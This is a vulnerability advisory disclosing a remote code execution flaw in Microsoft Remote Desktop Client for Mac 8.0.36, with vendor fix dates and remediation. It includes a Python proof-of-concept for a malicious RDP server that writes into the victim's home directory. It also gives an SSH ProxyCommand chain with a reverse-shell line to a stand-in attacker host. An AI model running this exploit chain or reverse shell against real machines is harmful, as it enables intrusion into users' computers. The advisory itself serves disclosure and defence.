Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution

Type packetstorm
Reporter Filippo Cavallarin
Modified 2017-01-23T00:00:00


Advisory ID: SGMA16-004  
Title: Microsoft Remote Desktop Client for Mac Remote Code Execution  
Product: Microsoft Remote Desktop Client for Mac  
Version: 8.0.36 and probably prior  
Type: Arbitrary file read/write (leads to RCE)  
Risk level: 4 / 5  
CVE: None  
Vendor notification: 2016-07-13  
Vendor fix: 2017-01-17  
Public disclosure: 2017-01-23  
A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.  
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.  
Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.  
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directoy.  
Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.  
According to Microsoft, no CVE will be assigned due to the release model of this particular client.  
A demo video is available at  
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.  
To reproduce the issue follow the steps below:  
1. install a windows 2008 server and allow Administrator to connect without password  
2. login as Administrator  
3. configure a trusted ssl certificate for rdp connections  
4. install python2.7 and put the following script in the "Startup" folder  
5. logout  
6. send the link below to a victim  
RDP link:  
Python script:  
import sys  
import subprocess  
import time  
import os  
def runcmd(cmd):  
err = None  
out = None  
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);  
out, err = process.communicate()  
except Exception as e:  
print str(e)  
return out  
netuse = runcmd("net use")  
if netuse.find("TSCLIENT"):  
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')  
runcmd('md c:\\home\\REMOTE')  
runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')  
runcmd("shutdown /l /f")  
Remote Code Execuiton  
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.  
Consider the following example where the RDC exploit pushes the following files on the remote machine:  
1. ~/.ssh/known_hosts  
2. ~/.ssh/config  
Host p  
HostName p  
ProxyCommand /bin/bash ~/.ssh/  
3. ~/.ssh/  
for a in {1..31}; do trap "" $a; done  
nohup bash -i >& /dev/tcp/attacker.local/1234 0>&1 &  
At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/ without any warning. To automatically execute the triggering URL (ssh://p) we can either:  
1. send the link to the victim via Mail or iMessage  
2. poison Safari cache adding some javascript that launches the URL  
3. poison Safari "Application Saved State" so that the URL il launched at browser execuition  
4. poison "loginitems" to launch the URL at system startup  
It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.  
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working. This fix is mentioned in the Apple Store:  
"This update fixes an issue where a website could repeately attempt to launch other websites or applications"  
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.